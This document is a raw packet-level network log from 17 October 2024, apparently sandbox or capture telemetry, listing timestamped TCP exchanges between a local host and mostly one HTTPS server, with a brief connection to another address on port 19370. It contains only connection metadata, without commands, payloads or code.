Oct 17, 2024 18:18:51.156267881 CEST	51687	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.156769991 CEST	51687	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.156776905 CEST	443	51687	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.156904936 CEST	51685	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.156936884 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.196137905 CEST	51686	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.196170092 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.871541023 CEST	443	51683	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.880690098 CEST	51683	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.880727053 CEST	443	51683	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.881201029 CEST	51683	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.881207943 CEST	443	51683	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.896466017 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.896951914 CEST	51684	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.896971941 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.897392988 CEST	51684	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.897397041 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.926687956 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.932435036 CEST	443	51687	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.941399097 CEST	51685	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.941425085 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.941848993 CEST	51685	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.941859961 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.942202091 CEST	51687	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.942230940 CEST	443	51687	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.942564011 CEST	51687	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.942569971 CEST	443	51687	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.943895102 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.944216013 CEST	51686	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.944245100 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:51.944605112 CEST	51686	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:51.944613934 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.013324976 CEST	443	51683	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.013530016 CEST	443	51683	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.013751030 CEST	51683	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.028805971 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.028829098 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.028892994 CEST	51684	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.028915882 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.028992891 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.029109955 CEST	51684	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.032804966 CEST	51683	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.032843113 CEST	443	51683	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.032860994 CEST	51683	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.032867908 CEST	443	51683	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.062127113 CEST	51684	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.062161922 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.062175989 CEST	51684	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.062181950 CEST	443	51684	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.070086002 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.070171118 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.070224047 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.070297003 CEST	51685	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.073103905 CEST	443	51687	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.073683977 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.073710918 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.073765993 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.073777914 CEST	51686	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.073826075 CEST	51686	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.073914051 CEST	443	51687	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.074317932 CEST	51687	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.083852053 CEST	51685	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.083924055 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.083966017 CEST	51685	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.083966970 CEST	51687	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.083985090 CEST	443	51685	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.083995104 CEST	443	51687	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.084014893 CEST	51687	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.084021091 CEST	443	51687	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.089034081 CEST	51686	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.089072943 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.089101076 CEST	51686	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.089113951 CEST	443	51686	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.098062992 CEST	51688	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.098114014 CEST	443	51688	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.098826885 CEST	51688	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.102689981 CEST	51689	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.102735043 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.102870941 CEST	51689	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.106815100 CEST	51688	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.106842995 CEST	443	51688	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.108545065 CEST	51689	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.108560085 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.111428976 CEST	51690	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.111442089 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.111515999 CEST	51690	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.111666918 CEST	51690	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.111679077 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.112446070 CEST	51691	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.112473965 CEST	443	51691	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.112529039 CEST	51691	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.112693071 CEST	51691	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.112706900 CEST	443	51691	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.122355938 CEST	51692	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.122390032 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.122504950 CEST	51692	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.128659964 CEST	51692	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.128681898 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.840403080 CEST	443	51688	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.850347996 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.858948946 CEST	51688	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.858978987 CEST	443	51688	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.859637976 CEST	51688	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.859654903 CEST	443	51688	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.861135006 CEST	51689	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.861171007 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.861604929 CEST	51689	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.861618042 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.875835896 CEST	443	51691	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.876382113 CEST	51691	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.876409054 CEST	443	51691	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.876919985 CEST	51691	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.876930952 CEST	443	51691	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.914367914 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.916011095 CEST	51692	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.916032076 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:52.916481018 CEST	51692	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:52.916493893 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.200336933 CEST	443	51688	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.200403929 CEST	443	51688	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.200500965 CEST	51688	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.201024055 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.201050997 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.201091051 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.201103926 CEST	51689	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.201141119 CEST	51689	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.202009916 CEST	443	51691	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.202037096 CEST	443	51691	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.202073097 CEST	443	51691	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.202080011 CEST	51691	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.202107906 CEST	51691	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.204823971 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.204843998 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.204891920 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.204893112 CEST	51692	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.204932928 CEST	51692	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.205527067 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.256057978 CEST	51690	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.256083965 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.256969929 CEST	51690	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.256975889 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.257308006 CEST	51688	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.257339954 CEST	443	51688	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.257354021 CEST	51688	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.257360935 CEST	443	51688	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.257484913 CEST	51692	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.257505894 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.257596016 CEST	51692	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.257602930 CEST	443	51692	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.259671926 CEST	51689	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.259692907 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.259705067 CEST	51689	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.259711027 CEST	443	51689	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.262185097 CEST	51691	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.262193918 CEST	443	51691	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.322993994 CEST	51693	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.323045969 CEST	443	51693	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.323116064 CEST	51693	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.326272011 CEST	51693	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.326292992 CEST	443	51693	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.326613903 CEST	51694	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.326632023 CEST	443	51694	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.326678991 CEST	51694	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.327047110 CEST	51694	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.327056885 CEST	443	51694	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.334602118 CEST	51695	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.334635973 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.334700108 CEST	51695	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.336405039 CEST	51696	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.336441994 CEST	443	51696	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.336620092 CEST	51695	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.336630106 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.336656094 CEST	51696	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.336785078 CEST	51696	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.336796045 CEST	443	51696	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.413367033 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.510816097 CEST	51690	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.510845900 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.520809889 CEST	51690	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.520831108 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.520860910 CEST	51690	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.521075010 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.521110058 CEST	443	51690	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.521157026 CEST	51690	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.547995090 CEST	51697	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.548044920 CEST	443	51697	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:53.548110008 CEST	51697	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.548357010 CEST	51697	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:53.548366070 CEST	443	51697	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.063150883 CEST	443	51694	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.097706079 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.102216959 CEST	443	51696	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.167090893 CEST	51694	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.269084930 CEST	51694	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.269118071 CEST	443	51694	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.269648075 CEST	51694	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.269654989 CEST	443	51694	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.270385981 CEST	51695	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.270406961 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.271104097 CEST	51695	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.271107912 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.271497965 CEST	51696	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.271532059 CEST	443	51696	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.272274971 CEST	51696	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.272279978 CEST	443	51696	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.317472935 CEST	443	51697	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.318730116 CEST	51697	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.318758965 CEST	443	51697	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.319474936 CEST	51697	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.319484949 CEST	443	51697	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.419616938 CEST	443	51694	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.419704914 CEST	443	51694	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.419811010 CEST	51694	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.420315027 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.420429945 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.420471907 CEST	51695	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.420473099 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.420512915 CEST	51695	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.421408892 CEST	443	51696	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.421576977 CEST	443	51696	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.421632051 CEST	51696	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.423064947 CEST	51694	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.423085928 CEST	443	51694	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.423095942 CEST	51694	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.423103094 CEST	443	51694	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.424571037 CEST	51695	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.424592972 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.424607038 CEST	51695	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.424612999 CEST	443	51695	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.426366091 CEST	51696	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.426393032 CEST	443	51696	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.426410913 CEST	51696	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.426419020 CEST	443	51696	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.442436934 CEST	51698	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.442480087 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.442543983 CEST	51698	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.445586920 CEST	51699	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.445637941 CEST	443	51699	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.445696115 CEST	51699	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.458937883 CEST	51698	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.458961010 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.460634947 CEST	51700	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.460665941 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.460726023 CEST	51700	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.460854053 CEST	51700	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.460864067 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.462368965 CEST	443	51697	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.462431908 CEST	443	51697	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.462475061 CEST	51697	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.483719110 CEST	51699	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.483752012 CEST	443	51699	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.492522955 CEST	51697	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.492552996 CEST	443	51697	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.492567062 CEST	51697	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.492573023 CEST	443	51697	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.497302055 CEST	51701	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.497343063 CEST	443	51701	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.497534990 CEST	51701	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.497797966 CEST	51701	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:54.497807980 CEST	443	51701	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:54.873311043 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:54.881290913 CEST	19370	51702	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:54.881397963 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:54.882133007 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:54.890307903 CEST	19370	51702	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:54.921453953 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:54.927920103 CEST	19370	51702	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:55.052448988 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:55.060961008 CEST	19370	51702	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:55.196978092 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:55.205996037 CEST	19370	51702	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:55.218296051 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.222023010 CEST	51700	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.222043991 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.222510099 CEST	51700	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.222521067 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.233930111 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.234347105 CEST	51698	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.234373093 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.234811068 CEST	51698	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.234816074 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.252019882 CEST	443	51699	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.252305031 CEST	443	51701	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.252499104 CEST	51699	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.252522945 CEST	443	51699	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.252973080 CEST	51699	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.252981901 CEST	443	51699	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.259598970 CEST	51701	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.259629965 CEST	443	51701	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.260162115 CEST	51701	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.260168076 CEST	443	51701	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.325864077 CEST	51702	19370	192.168.2.6	150.138.72.102
Oct 17, 2024 18:18:55.333431959 CEST	19370	51702	150.138.72.102	192.168.2.6
Oct 17, 2024 18:18:55.361979961 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.362024069 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.362076998 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.362086058 CEST	51700	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.362122059 CEST	51700	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.376580000 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.376909971 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.376966953 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.376972914 CEST	51698	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.377073050 CEST	51698	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.381813049 CEST	51700	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.381838083 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.381872892 CEST	51700	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.381880045 CEST	443	51700	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.384237051 CEST	51698	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.384255886 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.384320021 CEST	51698	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.384326935 CEST	443	51698	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.390393019 CEST	51703	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.390428066 CEST	443	51703	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.390667915 CEST	51703	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.393393040 CEST	51704	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.393431902 CEST	443	51704	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.393502951 CEST	51704	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.393743038 CEST	51703	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.393755913 CEST	443	51703	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.399738073 CEST	51704	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.399756908 CEST	443	51704	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.405689955 CEST	443	51699	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.405760050 CEST	443	51699	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.405925035 CEST	51699	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.406099081 CEST	51699	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.406120062 CEST	443	51699	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.406135082 CEST	51699	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.406141043 CEST	443	51699	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.409010887 CEST	51705	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.409046888 CEST	443	51705	13.107.246.45	192.168.2.6
Oct 17, 2024 18:18:55.409205914 CEST	51705	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.409351110 CEST	51705	443	192.168.2.6	13.107.246.45
Oct 17, 2024 18:18:55.409363031 CEST	443	51705	13.107.246.45	192.168.2.6
